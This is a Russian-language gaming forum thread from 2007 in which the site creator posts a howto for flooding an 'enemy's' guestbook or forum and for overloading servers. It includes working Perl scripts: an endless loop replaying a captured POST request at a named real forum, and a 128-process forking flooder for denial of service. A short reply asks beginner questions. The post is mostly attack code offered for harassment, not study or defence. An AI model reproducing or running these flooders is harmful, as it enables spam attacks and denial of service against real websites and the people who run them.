Мы рады вас встретить на форумах GTA-Action.ru, регистрируйтесь, общайтесь на форуме, в чате и учавствуйте в дисскусиях!

Спасибо что вы с нами!
[ Обновленные темы · Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: marlllboro3d  
Флуд гостевых, форумов и любых форм
marlllboro3d Date: Воскресенье, 21/01/2007, 11:26 AM | Message # 1
Создатель сайта
Кто такой: Проверенный
На счету: 1436$
Репутация: 32
Процент бана: 0%
Где сейчас: отсутствует
Howto.Флуд гостевых книг, форумов и т.д или флуд веба в домашних условиях
I Intro
Наверняка каждый из нас заходил на домашнюю страничку недруга и видел там пункт "гостевая книга". Многим захотелось написать туда сообщение.И не одно

В этой статье я расскажу как такое можно сделать.
Сразу оговорюсь, что все флудеры я буду писать на перле.

Итак, вот что нам понадобится:
1)Браузер Firefox с плагином Live HTTP Headers.Без него можно, но гораздо удобней именно с плагином.
2)perl, желательно на nix-системе.Возможны варианты с денвером, active perl'ом, cygwin'ом
3)Прямые руки и начальные знания HTTP протокола и программирования.
Постараюсь описать на реальных примерах.

II Inside
Как устроены гостевые книги? Чаще всего это html-форма через которую клиент передает сообщение и php-скрипт, который собственно это сообщение добавляет в базу (реже - файл). Для примера возьмем форум одного "мега-портала" - linuxsuxx.fastbb.ru

Вот "скелет" флудера:
Code
#!/usr/bin/perl -w
use IO::Socket;
$host = "[victimhost]";
$pack='[http packet dump]'
while (1) {
my $h_sock = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80, PeerProto => tcp) or die "No Answer";
print $h_sock $req;
}

Как видите, все очень просто.
Переменной $host задается хост для флуда, в $pack пихается дамп пакета.

Т.к. все на борда.ру написано на яваскриптах, мы будем использовать Live HTTP Heders или любой другой аналогичный плагин. Запускаем LiveHTTPHeaders, пишем постик на свой вкус и жмем "отправить". Получаем дамп трафика.Keep-Alive лушче сразу удалить, потому что нам сервер нужен живим, а кипаливом мы его совсем убьем

Вот код флудера под борду:
Code
#!/usr/bin/perl -w
use IO::Socket;

$host = " linuxsuxx.fastbb.ru";

$pack='POST / HTTP/1.1
Host: linuxsuxx.borda.ru
User-Agent: Agent Smith
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q= 0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Referer: http://linuxsuxx.borda.ru/?0-0
Cookie: s=7fnô5fôù
Content-Type: application/x-www-form-urlencoded
Content-Length: 258

parol=7fn%F45f%F4%F9&work=2&razdel=0&start=0&filenumber=&msgid=&start_page_re=
0&adresat=&only_new_re=0&statisc=308777%601280%6024%60no%60no%60no%60no%
60no&title=Another+Fl00d&message=%D2%F3%F2+%E1%FB%EB+%CF%F3%EF%E0+%C2
%E0%F1%FC%EA%E8%ED.&nick=3v1l+b0t&pass=';

while (1) {

my $h_sock = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80, PeerProto => tcp ) or die "sock";
print $h_sock $pack;

}

По вкусу можно вставлять sleep в цикл
У нас флудер однопоточный, т.к. нам нужно не убить сервер а зафлудить скрипт. Скрипт готов. Запускаем. Наслаждаемся

III Флуд серверов, баз данных.
Иногда бывает проще задосить сервер целиком.
Некоторые навароченные движки делают под 20 SQL запросов за раз. Давайте подумаем, что будет если мы одновременно пошелм 5 запросов? А 10?
Чем больше запросов - тем проще будет скрипт завалить.
Код многопоточного флудера:
Code
#!/usr/bin/perl -w
#########################
# USE AT YOUR OWN RISK #
# Coded by Gh0s7 #
#########################

use IO::Socket;

if(@ARGV < 3) { usage();}

$host = $ARGV[0];
$port = $ARGV[1];
$proto = $ARGV[2];
$ifile = $ARGV[3];

$thread= 128;

sub usage
{
print "#############################################\n";
print "./ps.pl [host] [port] [proto] [Packet_file] \n";
print "#############################################\n";
exit 1;
}

open (IFILE,$ifile) or die ("iFile");
sysread (IFILE,$buff,5000);
close (IFILE);
$sock = "$buff\n";

#Test Fork

for ( $i = 1; $i < $thread; $i++)
{
$proc = fork;
if ( $proc == "0" ) { last; }
print ("[ $proc ($i) Process Ready ]\n") || print "[ Cannot Fork ]\n" && last;
# print ("[ $proc ($i) Started! ]\n");

}
while ( 1 )

{
my $h_sock = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "$port", Proto => "$proto" ) or print ("[ $$ Closed Sock ] \n") && sleep 5 && next;
print $h_sock "$sock";
print "[ $$ Send Req ]\n";
# sleep 0.5;
#Use at your own risk!
#NO TIMEOUT!

}

IV Outro
Как видите флуд - очень простая вещь.Главное - знать основы протокола HTTP. А дальше все делается по анологии

 
Findikonda Date: Вторник, 23/01/2007, 11:16 PM | Message # 2
Наемник
Кто такой: Проверенный
На счету: 612$
Репутация: 8
Процент бана: 0%
Где сейчас: отсутствует
Что это:
Quote (marlllboro3d)
perl, желательно на nix-системе

И это
Quote (marlllboro3d)
Keep-Alive

который нужно удалить, чтобы сервер не кукукнулся?
Quote (marlllboro3d)
в $pack пихается дамп пакета

Как выглядит этот дамп пакет? Что он собой представляет? И для чего нужен?
biggrin


Читайте между строк - там никогда не бывает опечаток.

-самому активному
 
  • Страница 1 из 1
  • 1
Поиск: